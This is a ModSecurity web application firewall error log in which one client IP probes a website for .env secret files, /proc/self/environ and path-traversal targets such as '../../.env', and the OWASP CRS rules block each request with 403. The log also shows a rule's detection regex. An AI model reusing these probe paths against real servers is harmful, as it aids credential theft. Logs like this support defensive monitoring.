[Sun Oct 25 13:42:20.501954 2026] [security2:error] [pid 2873144:tid 2873144] [client 34.85.93.218:50796] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env_secret"] [unique_id "at4_fN0xbXd9S994rNKOGQAAABo"]
[Sun Oct 25 13:42:20.502175 2026] [security2:error] [pid 2873144:tid 2873144] [client 34.85.93.218:50796] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env_secret"] [unique_id "at4_fN0xbXd9S994rNKOGQAAABo"]
[Sun Oct 25 13:42:20.586387 2026] [security2:error] [pid 2873147:tid 2873147] [client 34.85.93.218:50890] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at4_fBZgtJmP1ZCwXoKoXwAAAB0"]
[Sun Oct 25 13:42:20.586628 2026] [security2:error] [pid 2873147:tid 2873147] [client 34.85.93.218:50890] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at4_fBZgtJmP1ZCwXoKoXwAAAB0"]
[Sun Oct 25 13:42:20.586908 2026] [security2:error] [pid 2873147:tid 2873147] [client 34.85.93.218:50890] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at4_fBZgtJmP1ZCwXoKoXwAAAB0"]
[Sun Oct 25 13:42:20.588295 2026] [security2:error] [pid 2873153:tid 2873153] [client 34.85.93.218:50884] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/application/.env.sample"] [unique_id "at4_fOg9pzNQjEGi_V9rkgAAACY"]
[Sun Oct 25 13:42:20.615001 2026] [security2:error] [pid 2873153:tid 2873153] [client 34.85.93.218:50884] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/application/.env.sample"] [unique_id "at4_fOg9pzNQjEGi_V9rkgAAACY"]
[Sun Oct 25 13:42:20.615266 2026] [security2:error] [pid 2873153:tid 2873153] [client 34.85.93.218:50884] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/application/.env.sample"] [unique_id "at4_fOg9pzNQjEGi_V9rkgAAACY"]
[Sun Oct 25 13:42:20.691123 2026] [security2:error] [pid 2873150:tid 2873150] [client 34.85.93.218:51048] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.key"] [unique_id "at4_fHad5AfzdkHmtxKJ6AAAACE"]
[Sun Oct 25 13:42:20.691345 2026] [security2:error] [pid 2873150:tid 2873150] [client 34.85.93.218:51048] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.key"] [unique_id "at4_fHad5AfzdkHmtxKJ6AAAACE"]
[Sun Oct 25 13:42:20.691659 2026] [security2:error] [pid 2873150:tid 2873150] [client 34.85.93.218:51048] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.key"] [unique_id "at4_fHad5AfzdkHmtxKJ6AAAACE"]
[Sun Oct 25 13:42:20.691673 2026] [security2:error] [pid 2867834:tid 2867834] [client 34.85.93.218:50924] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/config/.env.dev"] [unique_id "at4_fCjnAS4eJh-ada2MzwAAAA0"]
[Sun Oct 25 13:42:20.691924 2026] [security2:error] [pid 2867834:tid 2867834] [client 34.85.93.218:50924] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/config/.env.dev"] [unique_id "at4_fCjnAS4eJh-ada2MzwAAAA0"]
[Sun Oct 25 13:42:20.692270 2026] [security2:error] [pid 2867834:tid 2867834] [client 34.85.93.218:50924] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/config/.env.dev"] [unique_id "at4_fCjnAS4eJh-ada2MzwAAAA0"]
[Sun Oct 25 13:42:20.693310 2026] [security2:error] [pid 2873151:tid 2873151] [client 34.85.93.218:50784] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at4_fPVVegKXGA0pTecXnwAAACM"]
[Sun Oct 25 13:42:20.693452 2026] [security2:error] [pid 2873151:tid 2873151] [client 34.85.93.218:50784] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at4_fPVVegKXGA0pTecXnwAAACM"]
[Sun Oct 25 13:42:20.693698 2026] [security2:error] [pid 2873151:tid 2873151] [client 34.85.93.218:50784] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at4_fPVVegKXGA0pTecXnwAAACM"]
[Sun Oct 25 13:42:21.254103 2026] [security2:error] [pid 2873138:tid 2873138] [client 34.85.93.218:50850] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /docker-compose/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/docker-compose/.env"] [unique_id "at4_fUro6bHDhZQ8Cou1WAAAABQ"]
[Sun Oct 25 13:42:21.254280 2026] [security2:error] [pid 2873138:tid 2873138] [client 34.85.93.218:50850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/docker-compose/.env"] [unique_id "at4_fUro6bHDhZQ8Cou1WAAAABQ"]
[Sun Oct 25 13:42:21.254507 2026] [security2:error] [pid 2873138:tid 2873138] [client 34.85.93.218:50850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/docker-compose/.env"] [unique_id "at4_fUro6bHDhZQ8Cou1WAAAABQ"]
[Sun Oct 25 13:42:21.439871 2026] [security2:error] [pid 2867836:tid 2867836] [client 34.85.93.218:50940] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /supabase/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/supabase/.env"] [unique_id "at4_fUnqvEndZSiuRU5OqwAAAA8"]
[Sun Oct 25 13:42:21.440015 2026] [security2:error] [pid 2867836:tid 2867836] [client 34.85.93.218:50940] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/supabase/.env"] [unique_id "at4_fUnqvEndZSiuRU5OqwAAAA8"]
[Sun Oct 25 13:42:21.440246 2026] [security2:error] [pid 2867836:tid 2867836] [client 34.85.93.218:50940] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/supabase/.env"] [unique_id "at4_fUnqvEndZSiuRU5OqwAAAA8"]
[Sun Oct 25 13:42:21.464980 2026] [security2:error] [pid 2867890:tid 2867890] [client 34.85.93.218:50968] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prisma/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/prisma/.env"] [unique_id "at4_fZkDGkILNr0EMn3BbgAAACw"]
[Sun Oct 25 13:42:21.465141 2026] [security2:error] [pid 2867890:tid 2867890] [client 34.85.93.218:50968] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/prisma/.env"] [unique_id "at4_fZkDGkILNr0EMn3BbgAAACw"]
[Sun Oct 25 13:42:21.465383 2026] [security2:error] [pid 2867890:tid 2867890] [client 34.85.93.218:50968] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/prisma/.env"] [unique_id "at4_fZkDGkILNr0EMn3BbgAAACw"]
[Sun Oct 25 13:42:21.486428 2026] [security2:error] [pid 2873146:tid 2873146] [client 34.85.93.218:50824] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:file: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/api/system/fileView"] [unique_id "at4_fWROfIjgFWURimb5xAAAABw"]
[Sun Oct 25 13:42:21.486889 2026] [security2:error] [pid 2873146:tid 2873146] [client 34.85.93.218:50824] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/api/system/fileView"] [unique_id "at4_fWROfIjgFWURimb5xAAAABw"]
[Sun Oct 25 13:42:21.487110 2026] [security2:error] [pid 2873146:tid 2873146] [client 34.85.93.218:50824] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/api/system/fileView"] [unique_id "at4_fWROfIjgFWURimb5xAAAABw"]
[Sun Oct 25 13:42:21.496926 2026] [security2:error] [pid 2873140:tid 2873140] [client 34.85.93.218:50756] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /userfiles?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "bases1.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at4_fZwbmFwznfsCF_-l5gAAABY"]
[Sun Oct 25 13:42:21.496984 2026] [security2:error] [pid 2873140:tid 2873140] [client 34.85.93.218:50756] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "bases1.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at4_fZwbmFwznfsCF_-l5gAAABY"]
[Sun Oct 25 13:42:21.497014 2026] [security2:error] [pid 2873140:tid 2873140] [client 34.85.93.218:50756] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "bases1.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at4_fZwbmFwznfsCF_-l5gAAABY"]
[Sun Oct 25 13:42:21.497387 2026] [security2:error] [pid 2873140:tid 2873140] [client 34.85.93.218:50756] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at4_fZwbmFwznfsCF_-l5gAAABY"]
[Sun Oct 25 13:42:21.497638 2026] [security2:error] [pid 2873140:tid 2873140] [client 34.85.93.218:50756] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at4_fZwbmFwznfsCF_-l5gAAABY"]
[Sun Oct 25 13:42:21.503556 2026] [security2:error] [pid 2873144:tid 2873144] [client 34.85.93.218:50796] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "bases1.sherwinpinturas.com"] [uri "/static../.env"] [unique_id "at4_fd0xbXd9S994rNKOGwAAABo"]
[Sun Oct 25 13:42:21.503611 2026] [security2:error] [pid 2873144:tid 2873144] [client 34.85.93.218:50796] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "bases1.sherwinpinturas.com"] [uri "/static../.env"] [unique_id "at4_fd0xbXd9S994rNKOGwAAABo"]
[Sun Oct 25 13:42:21.503668 2026] [security2:error] [pid 2873144:tid 2873144] [client 34.85.93.218:50796] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/static../.env"] [unique_id "at4_fd0xbXd9S994rNKOGwAAABo"]
[Sun Oct 25 13:42:21.503830 2026] [security2:error] [pid 2873144:tid 2873144] [client 34.85.93.218:50796] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/static../.env"] [unique_id "at4_fd0xbXd9S994rNKOGwAAABo"]
